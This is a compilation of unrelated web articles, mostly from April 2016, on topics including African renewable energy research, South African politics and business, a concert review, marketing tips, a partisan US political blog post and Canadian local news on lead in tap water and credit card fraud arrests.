How then should we go about meeting the energy needs of the continent? The two additional goals of the SE4All for our leaders are to achieve the radical transformations in energy access whilst actively driving down global carbon emissions via the promotion of low carbon technologies and energy efficiency.

Accelerating the uptake of renewable energy

It is important that the north and south work together to support all African countries to achieve the ambitious goals encapsulated within the SE4All.

Encouragingly, recent international agreements (such as those announced at COP 21 in Paris) have committed the worlds richer countries to investing significant resources in supporting the rapid acceleration of the uptake of renewable energy across the countries of the global south, to help mitigate climate change and promote sustainable local development.

The role of capacity building and applied research in accelerating this uptake cannot be underestimated: development, optimisation and dissemination of new technologies, innovative mechanisms for financing renewable energy projects, and evidence for formulating efficient policies for renewable energy  just to name a few.

Providing a scientific platform

This is why the Africa-EU Renewable Energy Cooperation Programme (RECP), which supports renewable energy market development in Africa, has recently launched efforts to provide a scientific platform for Africa-EU renewable energy research cooperation.

Three action areas

Last month, the inaugural Africa-EU research symposium was held in Tlemcen, Algeria. The event was attended by 135 international experts, representing universities, research institutions, public sector, industry associations, and international organisations from 30 countries in Africa and Europe. The symposium highlighted three action areas for the international scientific and development communities.

First, while the role of academia in advancing renewable energy market and policies cannot be underestimated, it is unfortunate that most research projects end with the publication of a scientific paper. Researchers need to build closer partnerships with the private sector in order to translate science into practical and bankable solutions that will have a positive impact on markets and livelihoods while also contributing to the financial sustainability of research institutions. Private sector players, on the other hand, should also be involved in all stages of a research project, ensuring that research meets actual market needs.

Then, access to energy is not just a question of physical access to energy sources; it is also about peoples ability to pay for them. Many communities across Africa live within metres of national grid systems and yet have no access to the electricity passing so close to their homes. It is therefore important to take a people-centred approach in every research project on renewable energy in Africa. This includes the need to focus on cost-effective, household level off-grid solutions and the acknowledgment of the role of women in energy use, entrepreneurship, policy making and research.
The Department of Agronomy at Stellenbosch University (SU) received a donation of an Equalizer minimum till plot planter by the Cape Town firm Theebo Tech, last year. The planter was to improve their research in the crop cultivation of grain.

Photo via Pia Nanny

However, they soon realised that they were faced with a new challenge: The department's tractor was not strong enough to handle the planter and as a result the planter could not be utilised optimally. But a few of the department's industry partners  Overberg Agri, CLAAS and Kempston Agri  came to its rescue when they handed over the keys of a CLAAS tractor to Prof Nick Kotze, head of the Department of Agronomy.

Research for the sake of agriculture

Thanks to this tractor with its improved abilities, the department will now be able to use its new minimum till plot planter to do research on industry-specific problems and to supply the agricultural community with specific answers to problems based on scientific trials.

Among other things, the Department of Agronomy is involved in research in various cereal crops that are farmed in the Western Cape winter-rainfall areas  these include wheat, oats, lupine, barley and canola. With the department's outdated equipment, the soil had to be tilled up to three times before wheat could be planted for research purposes. With the minimum tilling implement the fields only have to be tilled once.

Industry-driven research is to the advantage of the farmer, the environment and agriculture as a whole, explained Kotze. He quoted former American President Franklin D Roosevelt who, as long ago as the 1930s, said that: The nation that destroys its soil destroys itself.

Partnerships strengthens agriculture

Andre Uys, an alumnus of the Faculty of AgriSciences and managing director of the Overberg Agri Group, emphasised that partnerships form an important part of the companys business model, especially partnerships with agricultural faculties at universities. It is our privilege to help you because you help us, he said. We want to be part of the research and training process and be able to provide input. He explained that students of the Faculty of AgriSciences not only become their clients and employees but that Overberg Agri and the farmers they serve benefit a great deal from the research that is undertaken by the faculty.

Dick David, manager of Kempston Agri who is the agent for CLAAS in South Africa, agreed with what Uys said and added that CLAAS is renowned for precision farming and efficiency. We like to support research that enhances precision farming, he said.

Prof Danie Brink, acting dean of the Faculty of AgriSciences, said that industrys support is essential to enable the faculty to continue its good work. Students in the Department of Agronomy are currently working on various industry projects. A total of 38 PhD students graduated from the Faculty of AgriScience in the 2015 academic year.
UNICEF studies have found that short-term hunger affects a child's ability to learn. By investing in a child's nutrition you not only feed that child, but in the longer term benefit the country's economy. A glass of milk provides high quality protein and micronutrients in an easily absorbed form.

Gisele Gurgel, marketing director of Tetra Pak South Africa and John Stromblad, MD of Tetra Pak South Africa

Milk for Change, a campaign to encourage consumers to donate milk to hungry underprivileged children, launched to stakeholders and the media in Bryanston on Wednesday, 20 April.

The brainchild of food processing and packaging solutions company Tetra Pak, in partnership with Food SA, the campaign will from the 26 May and conclude on 1 June, which is World Milk Day, when the milk will be distributed.

Increase milk intake

A similar campaign of Tetra Pak in Central America raised over half a million cartons of milk. With 14% of children in South Africa going to school hungry this campaign looks to increase their intake of milk. Without the right nutrition children cannot focus properly and the nutritional characteristics of milk are fantastic, says John Stromblad, MD of Tetra Pak South Africa.

Also contributing to the campaign is Clover, Parmalat and Woodlands, each of whom have donated milk. In total their contributions, together with Tetra Pak, which has donated 10,000 litres of long life milk, come to 33,000 litres.

The campaign will engage consumers through digital media activities to make people aware of the nutritional benefits of milk. Most South Africans' intake of milk is well below the recommended amount. While milk has a 90% penetration in South Africa, when you examine this penetration across LSMs it is clear that there are discrepancies between LSM 1  4 and the higher LSMs. The lower LSMs consumption is around 20 litres per household per year, while the higher LSMs' consumption is much higher at 100 litres per household per year, explains Gisele Gurgel, marketing director of Tetra Pak South Africa.

Call to action to consumers

There will be a call to action to consumers to donate a carton of long life milk at participating retailers, which include retailers in Gauteng, the Western Cape and KwaZulu-Natal. Consumers will be able to write a message on the milk carton on a provided sticker and the receiver will be able to send an SMS (for free) via the website to thank the donor, she adds.

The campaign will also educate consumers on the nutritional benefits of milk as well as the long life milk process. To increase the consumption of milk we need to educate people on the milk, but also explain the treatment of long life milk and its packaging, says Gurgel.

While long life milk is the same milk by a different process, the packaging locks in the freshness for a period of time. This technology makes milk available to all as it can be transported for longer and kept for longer. Given that many families in South Africa do not have access to the infrastructure to store such foods, long life milk is ideal, she adds.

Feed SAs executive directors, Genevieve Nathan and Romi Levenstein explain that Feed SA feeds 6000 children a day, and assist with creche infrastructure and teacher training. Nutrition is an important part of a child's life and it is our aim to feed them two meals a day. The milk we have been donated so far will last us one month.
Ask anyone in South Africa what their most burning political question of the moment is, and it will invariably be: "When is Zuma going?"

Political commentator, Aubrey Matshiqi, paints the political scene facing South Africa

Ask political commentator, Aubrey Matshiqi the same question and youll get a very interesting answer. Speaking at the Glacier by Sanlam Investment Roadshow, he started off by making two seemingly unrelated points.

The graphene analogy

First he asked if anyone in the audience had heard of graphene, before pointing out that it is a new material 200 times stronger than steel and a million times thinner than a strand of hair.

Graphene is a story of disruption. The question is no longer whether disruption is going to happen but when. We need to anticipate disruptors and work out a plan, even though it wont always be foolproof.

When, not if

The question is when will the power of ANC be disrupted, not if it will be disrupted? he explains.

For his second point he uses the theory that in five billion years from now our universe will cease to exist. This gives rise to two schools of thought. The one type will say: It doesnt concern me, I will be long gone. While the second type of person will say humanity does not have to die with the universe, and will work on a legacy.

If you are a member, leader or supporter of ANC  same question applies to you. What kind of party are you going to leave behind?

The day the world changed

He says that 9 December 2015 was a watershed date in the annals of South African politics.

The past five months have been great for me and other political commentators. I feel like Charlie in Willie Wonkas chocolate factory. Theres chocolate everywhere, Matshiqi exclaims.

Think about it on 8 December, JZ was riding high, while Pravin Gordhan had been cast out into the wilderness. After David van Rooyen  I call him the weekend special - was gone, the entire balance of power had swung the other way.

What this shows is the fact that you can paint as many scenarios as you want. But always add one more, no matter how improbable. A single event can change the course of history. This is what people in power must remember.

Pay back the money

Following the ConCourt decision that the president must pay back the money for some of the non-security related upgrades to his Nkandla home, one ANC stalwart after another are saying same thing that Zuma must hand over keys of the Union Buildings to someone else, Matshiqi says.

The judicial decision has forced the president to concede that not all of the upgrades were security related, which is a complete 360-degree turn from his previous stance. However, Matshiqi is quick to point out Zuma hasnt apologised in any way.

Chickens coming home to roost

And for Cosatu and the South African Communist Party, the 2005 chickens are coming home to roost, he says.

They had a choice to rise above factionalism, but instead they chose to support Jacob Zuma, which was a strategic error on their part. The lesson there is that parties must be careful not to make short-term decisions because the unintended consequences could be too ghastly to contemplate. My gut tells me that the National Prosecution Authority to charge the president with corruption will be reinstated.

Self interest

He also points out that the ANCs decision to recall the president will be based on self interest. The ANC wont recall him until its self interest is threatened. Im of the view that public sentiment and the internal dynamics of ANC will determine his fate. And public sentiment against him is running high at the moment.

Think about it. If there is a huge voter turnout at the August local elections and the ANC bleeds enough, can they take the chance of taking Zuma to 2019 general elections?

So the question is, not if Zuma will fall, but when he will fall, he concludes.
As an increasing number of organisations migrate to the cloud, the gap between the needs and expectations of the business and IT's ability to deliver is growing. With apps, data and users scattered across branch offices and other remote locations, IT is struggling to deliver the application performance businesses need to remain productive.

Helder Almeida via 123RF

In fact, the Riverbed Global Application Performance Survey 2015 shows that while 98% of executives believe that enterprise application performance is critical to achieving optimal business performance, 89% say poor performance of enterprise applications negatively impacts their productivity on a regular basis.

So what is the cause of this performance gap and how can businesses close it? Chances are IT is wrestling with a complex, inflexible WAN - a wide area computer network, to interconnect their diverse application workloads to their distributed workforce. In fact, the WAN is likely the IT infrastructures weakest link, and its preventing it from meeting the dynamic demands of the modern enterprise.

Business is speeding up, and IT needs to keep pace. Organisations need software-defined wide area networking (SD-WAN), and heres why.

WAN becomes dispersed

Driven by the rapid globalisation of the business world, the WAN is becoming more and more dispersed every day. Remote workers are scattered across the globe - in branch offices, construction sites and coffee shops, to name just a few - and they all demand flawless network performance to stay productive.

Whats more, end users are depending on an ever-expanding catalogue of applications, some of them cloud based. And if the apps dont work, neither do your end users. Many of them are even adopting independent apps which are not explicitly approved by the organisation - a phenomenon called 'shadow IT' - in order to get work done in a timely manner. As a result, todays networks are more unruly than ever. Businesses need a new day in networking, and they need it now. But why?

Old-school WANs are having a hard time meeting the demands of the modern business. A network based on MPLS links can be expensive but also time-consuming. Traditional MPLS networks rely on operation paradigms that were defined more than 15 years ago at a time were the pace of changes was a matter of months not a matter of days.

Security and control

Many organisations are today considering reducing the costs of MPLS-based networks using more affordable internet links to create a hybrid WAN. But in many cases, what you save in costs you sacrifice in security and control. Moreover, a significant rise in encryption and cloud technologies can cut into network visibility, making it next to impossible to know when and where a performance problem is occurring.

All the while, the pressure is mounting on IT, and the business is expecting you to act at the drop of a hat:

 They need you to deploy a new app that will totally change your traffic profile (and you need to maintain control), today.

 They need you to provision a new branch office on the other side of the world with the right apps and data, and make sure mission-critical apps are performing flawlessly for all users no matter what, today.

The list goes on. But unfortunately, the state of your network has you handcuffed. And this is where SD-WAN comes in. To put it simply, SD-WAN allows businesses to control their network from a single, easy-to-use, intuitive command centre. At its core, SD-WAN enables them to make on-the-fly adjustments to network performance and application delivery, in order to meet the businesses ever-changing needs.

Leveraging SDN principles

By leveraging software-defined networking (SDN) principles, designed to make networks more flexible and agile, SD-WAN enables organisations to direct traffic and deploy network services across a WAN from a centralised location - without any mess or hassle. Instead of the old router-based model, which required IT managers to make intensive CLI-based code changes to routers, SD-WAN allows network services and policies to be assigned to different locations, users, and even apps - all with just a few clicks.

Whats more, an app-centric SD-WAN will automatically identify the applications in the organisations network and group them into logical categories based on business criticality, and even apply network-service policies to those categories based on built-in best practices.

These benefits offer IT a broad range of possibilities. Organisations can automatically route voice traffic to their highest-quality network paths. They can quickly segregate employee traffic from that of partners and customers. They can send recreational internet traffic through the most rigorous firewalls; and more. And IT can do it all simply and centrally, without breaking a sweat.

All in all, SD-WAN makes networks more flexible and agile than ever, which, in turn, allows you to meet business needs efficiently and effectively.
Shimmy Beach Club is the prefect venue to host a summer party, especially when the Cape Town weather plays along.

In his poem, The Waste Land, TS Eliot wrote:

April is the cruellest month, breeding

Lilacs out of the dead land, mixing

Memory and desire, stirring

Dull roots with spring rain.

Now, Eliot was very British and they have issues with weather in general, so we can forgive him. For us, April is a time when we try to squeeze out as much fun of the last remaining sunshine days as we can. The Shimmy Beach Club knows whats what and they hosted the SummerWaves party on Sunday, 17 April to bid summer adieu. With names like 15-year-old sensation Jasmine Thompson from the UK (and their bad weather), James Hersey, FlicFlac (both from Austria) and awesome local acts Pop Art Live, Jet Treger, Thank Me Later, Garteth Kenward and Blanka Mazimela on the programme summer must feel mighty special to receive such a farewell.

Shimmy Beach Club is the prefect venue to host a summer party, especially when the Cape Town weather plays along. Think beautiful ocean scenery, gorgeous sunset vibes, sand between your toes, a pool as blue as the following Monday, and sleek modern designs everywhere. The crowd was pretty summery as well, with everyone in flip flops and short shorts and ready to party the day away.

YouTube sensation

Headlining the event was YouTube sensation Jasmine Thompson. This lovely lass is only 15, but her voice is that of a seasoned diva. She started out her career performing covers of famous songs on her YouTube channel and that just led to better things. She came out on that beautiful Shimmy Beach Club stage to a huge crowd and she did not disappoint. When she performed her cover of Tracy Chapmans Fast Car I think everyone in the crowd died a bit from joy. Her voice is haunting on that song. She played all the songs we know and love her for: Adore, Sun Goes Down, and Aint Nobody Love Me Better.

James Hersey was another big hitter and played his set just before Jasmine Thompson. The Austrian musician is known for his big tracks like Coming Over, How Hard I Try, and What Ive Done. It was an absolute pleasure to witness Herseys performance on stage and I just loved when he performed Dreamcatcher. He was definitely a crowd pleaser. Herseys fellow Austrians, the producer duo FlicFlac, also graced us with their presence with jams like their edits of Milky Chances Down By The River, Vance Joys Riptide, Empire Of The Suns We Are The People and their own mix Hope (with that moving Charlie Chaplin speech from The Dictator).

SA performers

The South African performers also came out with their musical guns blazing. I caught the tail end of Blanka Mazimelas set and the mans music is just amazing. Pop Art Live, Jet Treger, Thank Me Later (a favourite Shimmy staple of mine) and Garteth Kenward also absolutely killed their sets.

As I write this its grey and rainy outside, but I am glad I went to SummerWaves to see off summer in style. A great time was had and the music, the venue and the people were just on point. Lets do it again next year.
On Thursday, 21 April 2016, Biz Takeouts Marketing and Media Radio show host Warren Harding ( @bizwazza ) looked at The Fixer Company ( @TFC_Africa ), a specialist business consulting firm specialising in competitive intelligence.

The Company boasts a range of core business services and are experts in commercial project planning; PR & marketing and strategy development. With a marketing concentration, The Fixer Company partners with entrepreneurs; SME's; creatives and journeys with brands from infancy through development and growth.

We are joined in studio by Colin Don Schouw (@Mr_Schouw), managing director of The Fixer Company. We chat about the agency history, the departments within and services offered by the agency and the trends affecting the advertising industry as a whole. We end off the feature by looking at social media and digital developments, measurement and we take a look at the future of the agency.

Check out The Fixer Company here.

Episode 171: Agency focus - The Fixer Company







Date: 21 April 2016 Length: 23:09min File size: 21.7MB Host: Warren Harding



The news roundup from Bizcommunity:

If you are interested in getting interviewed on Biz Takeouts, or want to suggest a show topic, email Warren Harding (@bizwazza) on moc.ytinummoczib@stuoekatzib.

Bizcommunity.com's Biz Takeouts Marketing & Media Show takes South Africa's biggest online marketing, media and ad industry platform to the airwaves and gives relevant, useful and interesting insights into all aspects of marketing in SA, Africa and beyond. Each week, the show features the movers and the shakers of the industry, current media trends, upcoming events and brand activities.

For more:
Webinars are powerful marketing channels that can significantly boost the conversion rate of any business. Research has shown that many people make buying decisions after attending webinars.

Webinars offer a great opportunity to share valuable information with your audience, thus building trust. When they begin seeing you as an expert in your field, they are more likely to be interested in what you have to offer.

Here are some great tips for successful webinar marketing:

1. Set your goals

Before you rush into hosting a webinar, you should first take time to decide what exactly you would want to achieve. Proper planning will enhance your chances of making a successful webinar. Some of the common goals for hosting webinars are as follows:

 Attracting new leads  Building stronger relationships with customers and prospects

 Converting more leads into customers

 Get more subscribers on an email list  Presenting oneself as a thought-leader in a subject

2. Think of a compelling subject

One of the best ways of deciding what subject to cover in your webinar is by getting feedback from customers and prospects. Find out what they would like to learn and come up with an appropriate topic. You could also use tools such as BuzzSumo to find out which topics are trending in your industry. However, to ensure high conversions, make sure the topic is directly related to what you are selling. This way, at the end of the webinar, participants will leave the webinar thinking of your product as the solution for their needs.

3. Identify an industry expert

Think of someone who is well-respected in your industry and ask them to be a guest speaker in your webinar. However, before such experts accept your invitation, they will want to know whats in it for them. You can lure them by explaining what marketing strategies you will be using to promote the webinar. Dont forget to mention the number of people that have registered and attended previous webinars. However, if your statistics are not impressive enough, it would be advisable to start by featuring an in-house expert.

4. Craft your marketing copy

The marketing copy for your webinar will be used on social media, email invites and landing pages. Be sure to come up with a compelling title that will grab the attention of your audience. You should then write a brief description which explains what exactly participants will learn from the webinar. If you have a guest speaker, introduce them in way that portrays them as an expert in the industry.

5. Promote your webinar

When promoting your webinar, your first target should be your existing audience. This could be partners, subscribers, leads and customers. Since such people already have a relationship with you, there is a high chance that they will be interested in what you are offering. Share details about the webinar on your social media channels as well as your email newsletters. Dont forget to add call to action banners on your website and blogs. It would also be advisable to reach out to new audiences via paid ads on social media and online communities that would be interested in your topic.

6. Make the most of post-webinar promotion

The post-webinar period gives you a chance to reach an even greater audience. Share the webinar recording on your website, blog or social media pages. You could also break down the recording into blog posts, podcasts or email newsletters that can be shared in a series format. In addition, you could write a follow-up blog post which contains a summary of the key points that were discussed in the webinar.
A new advertising campaign on the London Overground network is aiming to educate the British public about how everyone's daily routine is destroying the rainforest. Palm oil, the rainforest's 'hidden destroyer', is found in many everyday products such as toiletries, cosmetics and snacks.

As the specialist transport advertising division of Media Agency Group, Transport Media has launched the campaign for its client Rainforest Foundation UK, to promote the charitys work and raise awareness of a new SMS campaign.

The 200 rail panel advertisements, located on London Underground trains, are in a prime location, allowing passengers to absorb the creative and take on board the message, as they seek a welcome distraction from their tube journey.

Palm oil plantations are often established at the expense of the worlds rainforests due to the plants climate requirements. The UK public are encouraged to text to receive a free palm oil guide to help them make informed choices on which products to purchase.

Rainforest Foundation UKs work is vital to the future of the worlds rainforests, saving homes, habitats and species for future generations. As well as rail panel advertising, Media Agency Group will also be coordinating a new out of home campaign in Edinburgh, Oxford and Cambridge in the coming weeks to help spread the organisations message further.

MD of Transport Medias parent company Media Agency Group, John Kehoe, said, Its a pleasure to be once again working with Rainforest Foundation UK on another effective transport advertising campaign. The group is proud to help the foundation promote its work by coordinating this London campaign and our future campaigns across the UK. The ads spread an important message about the harmful effects of palm oil and were sure theyll generate interest in the new SMS campaign.
Prince, the genre defying musical genius has been unapologetically inspiring generations of musicians, producers, songwriters and fans for almost four decades. Sadly, at 10:07am on the 21 April 2016, the legend passed away leaving a wake of social media sorrow and celebration for 'The Artist Formerly Known as Prince'.

In the 15hrs since the announcement, there has been an outpouring of support, respect and heartbreak over the news - totalling over 3.5 million social media responses. Or, 60 a second. said Kelvin Jonck, MD of YouKnow Digital.

The iconic New Yorker cover for its upcoming tribute to Prince

At a high level, the vast majority of the conversation pertains to general information sharing about his death and sadness at the loss. Digging deeper though, there is a considerable volume of conversation relating to various songs and memories.

In many respects there is global reflection - a wake of sorts - taking place for Prince, said Jonck.

As was his appeal, the conversation is truly global, with the largest percentage of the volume coming from the Americas followed by Australia. South Africa itself isnt fairing too poorly at 315 social engagements per million citizens.

Dearly beloved, we are gathered here today to get through this thing called life  Prince

When looking at the specifics of the conversation we see that only 31% of the conversation is related to reporting or sadness relating to his death. Rather, were seeing that 51% of the conversation is relating to memories and giving thanks for specific songs (with many individuals and radio stations putting his songs on in honour of the legend), Jonck reported.

Of all the songs mentioned by consumers, the 1986 Grammy winning, Kiss came up first (included in almost 30% of all mentions, a sizable 1 045 880 mentions) followed by the iconic Purple Rain (12%).

It goes without saying that Prince was a musical, social and cultural legend and while there is mourning, its great to see his indomitable spirit coming through in how his fans have decided to remember him.

*All data sourced from Crimson Hexagon.
Less than three months after signing an agreement with Millicom, Orange announced this week that it has completed the acquisition of 100% of the mobile operator Tigo in the Democratic Republic of the Congo (DRC).

Image by 123RF

The mobile market in the DRC is undergoing significant growth and is currently the largest mobile market in Central and West Africa, after Nigeria. With a population of more than 80 million people and a relatively low mobile penetration rate of 50% of the population, the country offers considerable growth potential for Orange.

The consolidation of Oranges and Tigos operations in the DRC will enable Orange to strengthen its presence in the country.

Commenting on this agreement, Bruno Mettling, deputy chief executive officer of Orange in charge of operations in Africa and the Middle East, said: We are extremely happy to announce the completion of the acquisition of Tigo by Orange DRC in a market marked by very strong growth potential. Through this strategic investment, Orange confirms its ambition to reinforce its presence in the Democratic Republic of the Congo and accelerate the conditions in which it can develop its services through this consolidation.

This acquisition illustrates Oranges development strategy in Africa where almost one in 10 people are already customers.
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Considering the Supreme Court's current caseload, it's difficult to explain Texas Governor Greg Abbott's rationale for attacking Chief Justice John Roberts.

Governor Abbott launched an attack on Justice Roberts at Jim DeMint's Heritage Foundation yesterday where he accused Roberts of being an activist judge who "deserves to be swept up into the political process."

"Chief Justice John Roberts is the tip of the spear in playing politics," Abbott said. "Chief Justice John Roberts knowingly, clearly and unabashedly re-wrote Obamacare twice. What we are seeing is nothing more than naked politics being played by the United States Supreme Court." Abbott's criticism of Roberts, echoing that of Texas U.S. Sen. Ted Cruz, came during a press roundtable at the Heritage Foundation, a conservative think tank where the governor promoted his idea of leading a convention of states to amend the U.S. Constitution to limit the power of the federal government.

This is an astonishing pile of hypocritical shit

You're probably aware that the Supreme Court will soon decide the fate of President Obama's executive orders on immigration, but you may not know how the case landed in front of the Supreme Court to begin with.

The group of Republican state governments led by Texas Governor Abbott who've challenged the president's orders filed their lawsuit in Texas for a very specific reason. They knew that filing the lawsuit in almost any other federal court system would see it thrown out for a lack of standing, but they knew the arch-conservative 5th Circuit Court would side with them. Governor Abbott and his colleagues judge-shopped their lawsuit and filed it in a 'friendly' jurisdiction.

Who is really "playing politics" here?

The last six years in front of the Supreme Court have been dominated by a series of politically-motivated challenges brought by Republicans where they've asked the court to give them political victories.

If Republicans were capable of governing, they could solve all of their perceived problems themselves, but they can't so they've repeatedly asked the court to solve political problems for them. Even though they control both chambers of Congress, they still can't replace Obamacare and they can't pass immigration reform. They can't do jack shit.

You might say Greg Abbott is attempting to 'work the refs' and pressure Chief Justice Roberts into siding with him on the president's executive orders, but he may have picked the worst way to do so.

Justice Roberts has been outspoken against the politicization of the judiciary and the Supreme Court but Governor Abbott says it should be politicized.

You may be a relatively conservative judge, but if you don't side with the Republican party in every single case, no matter how ridiculous that case may be, you will be accused of partisanship and conspiracy.

Let's not forget the second Supreme Court challenge to Obamacare was literally about a single word in a single sentence of the entire Affordable Care Act. 'Rewriting' the law would have meant ruling against the Obama administration and against the clear intent of those who actually wrote the law.
Its Earth Day: Vouch To Save The Earth Pulse oi-Staff

April 22nd is observed as the Earth Day across the globe. With the aim of spreading awareness about the importance of saving the mother earth, US Senator, Gaylord Nelson first came up with the idea in 1970.

To mark this day, awareness campaigns, educational programmes, painting competitions and other activities are organised to spread the message of saving the earth.

In the national capital, a group of students have launched a campaign to save the polluted river, Yamuna that flows through Delhi. Unfortunately, it carries untreated domestic water and industrial wastes of the city.

The Ministry of Environment and Forests in a bid to arrest river pollution, has undertaken measures to clean the river under an action plan (Yamuna Action Plan-YAP).

Students in other parts of the country have also organised awareness programmes and street plays to spread the awareness. Activities like planting trees, cleaning nearby lakes and rivers are undertaken in full zeal.

Earth Day explores and reinforces ways to save the planet from emissions and global warming in the wake of crops crashing, water vanishing and the ozone hole threatening to get bigger than the stratosphere itself.
Each review score is between 1-10. To get the overall score that you see, we add up all the review scores weve received and divide that total by the number of review scores weve received. In addition, guests can give separate subscores in crucial areas, such as location, cleanliness, staff, comfort, facilities, value for money and free Wi-Fi. Note that guests submit their subscores and their overall scores independently, so theres no direct link between them.

You can review an Accommodation that you booked through our Platform if you stayed there or if you arrived at the property but didnt actually stay there. To edit a review youve already submitted, please contact our Customer Service team.

We have people and automated systems that specialise in detecting fake reviews submitted to our Platform. If we find any, we delete them and, if necessary, take action against whoever is responsible.

Anyone else who spots something suspicious can always report it to our Customer Service team, so our Fraud team can investigate.

Ideally, we would publish every review we receive, whether positive or negative. However, we wont display any review that includes or refers to (among other things):

Politically sensitive comments

Promotional content

Illegal activities

Personal or sensitive information (e.g. emails, phone numbers or credit card info)

Swear words, sexual references, hate speech, discriminatory remarks, threats, or references to violence

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Any violation of our review guidelines.

To make sure reviews are relevant, we may only accept reviews that are submitted within 3 months of checking out, and we may stop showing reviews once theyre 36 months old  or if the Accommodation has a change of ownership.

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Situated in the middle of all the action and adventure the Black Hills have to offer, the quaint Town Hall Inn has had many different incarnations over the years. What an absolute gem. Very happy that I didn't book in Deadwood which looks like fun but also very touristy. The Town Hall Inn is a historical gem with each bedroom one of the rooms of the old town hall and still with the name of the room above the door. The room was really well appointed and with huge ceilings. I was in the Deliberation room and it was lovely to think of all the town discussions that took place in the room. The owners are new and are clearly dedicated to making the Inn as good as it can be. The provision of plugs and USB chargers by the bed are a perfect example. There is a bar is the basement (which used to be the police cells) with micro brewery beers that are worth visiting the Inn for on their own merit. The bartender Chris is a delight and she had that great ability to bring parties together in the bar so that you make new friends. I am traveling across the US from coast to coast and this has been one of the highlights of my trip.

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Hey there, time traveller!

This article was published 22/04/2016 (2375 days ago), so information in it may no longer be current.

Three years since high levels of lead were discovered in the tap water of some older homes, the City of Brandon continues to work toward a long-term solution.

It hasnt been forgotten. Certainly the events in Michigan have raised the profile, said Patrick Pulak, the citys director of engineering services and water resources, referring to the water contamination crisis in Flint.

Lead concentration was found to be higher than the standard in some homes built before 1950, as they are more likely to have a lead service connection. In 2013, the city estimated 3,600 homes may be affected.

Bruce Bumstead/The Brandon Sun Of the 313 homeowners who have had their drinking water tested through a city program, 53 tests have come back with lead concentrations above the national standard.

That is just based on information we have on when houses were built in town, Pulak said. Thats not to say that theres 3,600 homes that have lead services. We know that probably is a maximum number and were pretty sure its significantly lower than that.

The city partnered with ALS Environmental Labs of Winnipeg to provide tap water testing services for homeowners concerned about lead levels.

To date, 313 homeowners have had their drinking water tested through the citys 50/50 cost sharing program. A total of 53 tests have come back with lead concentrations above the Canadian Drinking Water Standard of 0.01 mg/l.

Some were  significantly higher, and there were others that were close  really all over the map, Pulak said, adding the program is still available, and encourages homeowners to take advantage of it.

We had that initial push and that lasted for probably three to four months. Its been petering off since, Pulak said. Well pay for half of the cost to having the sample tested, we will handle the paperwork and we will get the sample into Winnipeg.

The kit and testing costs $45. However, if the individual lives in the identified areas where pre-1950 lead connections may exist, the cost is $20.

The most cost-efficient and easy way to deal with higher lead content is to purchase a tap filter that has a lead reduction certified filter. The permanent solution is to replace the lead water service; however, this can be quite costly.

The city offers financial assistance for homeowners wanting to replace their lead water service connection.The city will pay for 50 per cent of the cost to replace the lead water service connection from the water main to the property line. Replacing the lead service from the property line into the home will be the homeowners cost.

Pulak said typically one to two homeowners per year choose this option.

The ultimate option is, there is stuff we can do from a treatment point of view to try and help mitigate lead leaching into the water distribution system, Pulak said.

Its all part of a proposed $60-million water treatment upgrade, which the city has submitted a funding application for through the Provincial-Territorial Infrastructure Component of the New Building Canada Fund.

The city recently met with representatives from Manitoba Health and Water Stewardship, and plans to release a new communication plan to the public. Pulak said this will reiterate the options available to homeowners, and will incorporate new Canadian drinking water standards regarding lead, which are expected to be updated very soon.

Were kind of waiting to see what thats going to contain to help us dictate what our next steps are, Pulak said.

 jaustin@brandonsun.com

 Twitter: @jillianaustin
Hey there, time traveller!

This article was published 22/04/2016 (2375 days ago), so information in it may no longer be current.

A Brandon Police Service media release helped lead to the arrests of two suspects wanted in connection with credit card fraud that bilked more than $28,000 from Brandon businesses.

BPS Sgt. Bill Brown credited Brandon police officers and alert business staff for the arrests, in particular a hotel clerk in Saskatoon.

Good work by some front-line people to put some stuff together, and good on the clerk for being smart to see that, Brown said.

The men have also been charged with credit card fraud in Winnipeg and Saskatoon, and Edmonton police are also investigating them.

On April 11, the BPS issued a press release and photos of two suspects sought in connection with stolen credit cards, or counterfeit cards, used at three stores in the Shoppers Mall two days prior.

The men made off with more than $25,000 in jewelry and electronics  including diamond rings, tablets and Apple watches.

The day after the release was issued, a store employee at a Winnipeg mall, who had seen the photos issued by the BPS, recognized one of the men.

Winnipeg police, the Winnipeg Crowns office and BPS officers worked together to bring charges against the man for the Shoppers Mall fraud. Police say further charges are pending in relation to frauds at other Brandon businesses.

A 19-year-old man from Quebec remains in custody in Winnipeg.

Then, on April 13, Saskatoon police contacted their Brandon counterparts to notify them that they had arrested a second man. He was checking into a Saskatoon hotel when his credit card was declined.

He checked in using a different card, but the clerk was suspicious, searched the mans name online and found the BPS media release that included names that suspects had given store staff during the Brandon frauds.

Saskatoon police arrested the man after learning he used a counterfeit credit card to check into the hotel and for other transactions in that city.

However, the man was released by the courts with a later court date before the Brandon charges were forwarded to Saskatoon. The BPS has issued an arrest warrant for a 19-year-old Quebec man.

Brandon police announced the arrests on Friday, noting that the Brandon frauds totalled $28,684. None of the merchandise has been found.

Its not clear whether the crimes were committed using stolen cards, or using counterfeit cards created with stolen data.

Brown said that Edmonton police have also asked about the two suspects in relation to similar matters there.

 ihitchen@brandonsun.com

 Twitter: @IanHitchen
Hey there, time traveller!

This article was published 22/04/2016 (2375 days ago), so information in it may no longer be current.

TORONTO  A man who bills himself as the Chinese Warren Buffett has been permanently banned by Ontarios securities watchdog from trading securities or working as a registrant or an investment manager.

In a ruling issued Friday, the Ontario Securities Commission said Weizhen Tang has also been banned from serving as a director or officer of a company or investment firm.

Tang was convicted in 2012 and sentenced to six years in prison for having defrauded the public through deceit, falsehood or other means in his operation of an investment fund called the Overseas Chinese Fund.

The fund defrauded investors from Canada, the United States and China of millions of dollars through risky investments they had not agreed to while also using some money to pay back earlier investors, the hallmark of a Ponzi scheme.

In addition to prison time, the court ordered Tang to pay a $2.8-million fine within five years of his release.

The court also stipulated that he would serve an additional five years if he failed to pay the fine.
Hey there, time traveller!

This article was published 22/04/2016 (2375 days ago), so information in it may no longer be current.

TORONTO  More than 500 doctors billed Ontarios health insurance plan over $1 million each last year, with one ophthalmologist charging what the provinces health minister called a staggering $6.6 million.

Of the top five billers, two are ophthalmologists, two are radiologists and one is an anaesthesiologist, but their names and where they work are not being released.

The million-dollar club included 154 diagnostic radiologists, 85 ophthalmologists and 57 cardiologists.

Its not our emergency room physicians who are earning this kind of money, Health Minister Eric Hoskins told reporters Friday. Its not our neurosurgeons who are billing over a million. Its a very narrow category of specialists.

The top-billing doctors represent less than two per cent of physicians in the province but account for nearly 10 per cent of billings.

Hoskins said the current structure allows some physicians to generate income many times the average doctors salary, mainly because the fee structure has not kept pace with medical and technological advances.

